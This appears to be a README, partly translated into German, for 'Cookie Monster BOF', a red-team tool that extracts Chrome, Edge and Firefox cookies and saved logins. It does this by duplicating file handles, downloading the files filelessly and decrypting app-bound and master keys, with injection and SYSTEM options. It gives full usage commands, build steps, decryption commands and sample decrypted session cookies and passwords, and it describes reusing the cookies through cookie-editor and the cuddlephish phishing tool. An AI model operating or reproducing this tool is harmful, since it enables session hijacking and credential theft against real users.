
BOF-basiertes Tool zum Extrahieren von Browser-Cookies und Anmeldedaten aus Chrome, Edge und Firefox durch Handle-Duplikation und dateilosen Download, mit Unterstützung für Offline-Entschlüsselung.
Stehle Browser-Cookies für Edge, Chrome und Firefox über ein BOF!
Cookie Monster BOF extrahiert den WebKit Master Key und den App Bound Encryption Key sowohl für Edge als auch für Chrome, findet einen Browserprozess mit einem Handle auf die Dateien Cookies und Login Data, kopiert das/die Handle(s) und lädt anschließend die Zieldatei(en) dateilos herunter.
Sobald die Cookies-/Login-Data-Datei(en) heruntergeladen sind, kann das Python-Entschlüsselungsskript verwendet werden, um diese Geheimnisse zu extrahieren! Das Firefox-Modul parst die profiles.ini, ermittelt, wo sich die Dateien logins.json und key4.db befinden, und lädt sie herunter. Für die Offline-Entschlüsselung wird auf ein separates GitHub-Repo verwiesen.
Chrome & Edge 127+ Updates: Neue Chromium-Browser-Cookies (v20) verwenden den App-Bound-Key zur Verschlüsselung der Cookies. Dadurch wird das Abrufen des app_bound_encrypted_key etwas schwieriger. Dank snovvcrash kann dieser Vorgang ohne Rechteausweitung durchgeführt werden. Der Haken: Der eigene Prozess muss aus dem Anwendungsverzeichnis des Webbrowsers heraus laufen, d. h. es muss in Chrome/Edge injiziert oder ein Beacon aus demselben Anwendungsverzeichnis wie der Browser gestartet werden.
Chrome 157+ kann einen nicht isolierten Launcher-Prozess ausführen, der den eigentlichen Browser als zweiten chrome.exe --isolated-Prozess startet. App-gebundene Schlüssel, die mit aktivierter Isolation erstellt wurden, können nur von einem Aufrufer entschlüsselt werden, der das Isolations-Sicherheitsattribut von Chrome trägt. Injiziere in den --isolated-Chrome-Prozess; eine Injektion in den Launcher liefert HRESULT 0x8004A018 (kIsolationStateInvalid). Der begleitende Win32-Fehler kann veraltet sein (zum Beispiel 122), daher sollte zur Diagnose dieses Zustands der HRESULT verwendet werden.
Entschlüssele Cookies als SYSTEM und ohne in den Browserprozess injizieren zu müssen! Shoutout an @sdemius für die Entdeckung, wie die PostProcessData-Funktion von Chrome entschlüsselt wird, und an @b1scoito für die Erklärung! Chrome 137+ hat die Funktion PostProcessData() erneut geändert, Shoutout an @runassu für die Aufklärung!
Das neueste Update fügt die Entschlüsselung des Webkit Master Key dank @M1ndo hinzu. Der Master Key wird automatisch zusammen mit dem App-Bound-Key entschlüsselt. Um ihn zu nutzen, füge den Schlüssel dem Python-Entschlüsselungsskript hinzu. Dieser Schlüssel wird hauptsächlich bei Roaming-Profilen, gespeicherten Passwörtern in Edge oder älteren gespeicherten Passwörtern verwendet.
Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"]
cookie-monster Examples:
cookie-monster --chrome
cookie-monster --edge
cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
cookie-moster --firefox
cookie-monster --chromeCookiePID <PID>
cookie-monster --chromeLoginDataPID <PID>
cookie-monster --edgeCookiePID <PID>
cookie-monster --edgeLoginDataPID <PID>
cookie-monster Options:
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD
--system, Decrypt chromium based browser app bound encryption key without injecting into browser. Requires path to Local State file and PID of a user process for impersonation
--firefox, looks for profiles.ini and locates the key4.db and logins.json file
--chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--key-only, only retrieve the app bound encryption key. Do not attempt to download the Cookie or Login Data files.
--cookie-only, only retrieve the Cookie file. Do not attempt to download Login Data file or retrieve app bound encryption key.
--login-data-only, only retrieve the Login Data file. Do not attempt to download Cookie file or retrieve app bound encryption key.
--copy-file, copies the Cookie and Login Data file to the folder specified. Does not use fileless retrieval method.
Stellen Sie sicher, dass Mingw-w64 und make unter Linux installiert sind, bevor Sie mit der Kompilierung beginnen.
make
Abhängigkeiten installieren
pip3 install -r requirements.txt
Verwendung
python3 decrypt.py -h
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]
Decrypt Chromium cookies and passwords given a key and DB file
options:
-h, --help show this help message and exit
-k KEY, --key KEY Decryption key
-o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
Option to choose
-f FILE, --file FILE Location of the database file
--chrome-aes-key CHROME_AES_KEY
Chrome AES Key
-mk MASTER_KEY, --master-key MASTER_KEY
Old key used in v10 passwords
Beispiele: Chrome/Edge-Cookies-Datei entschlüsseln
python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db
Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22
Chrome-Cookies mit Chrome-AES-Schlüssel entschlüsseln
python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json
Chrome-/Edge-Cookies-Datei entschlüsseln und als JSON speichern
python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json
Importiere die Cookies-JSON-Datei mit https://cookie-editor.com/
Entschlüssele die Chrome/Edge-Passwortdatei
python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'
URL: https://test.com/
Username: adgf
Password: pass
Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty
Firefox-Cookies und gespeicherte Anmeldedaten entschlüsseln:
https://github.com/lclevy/firepwd
Dem Entschlüsselungsskript wurde eine cuddlephish-Option hinzugefügt, die die Verwendung des Cookies mit https://github.com/fkasler/cuddlephish unterstützen sollte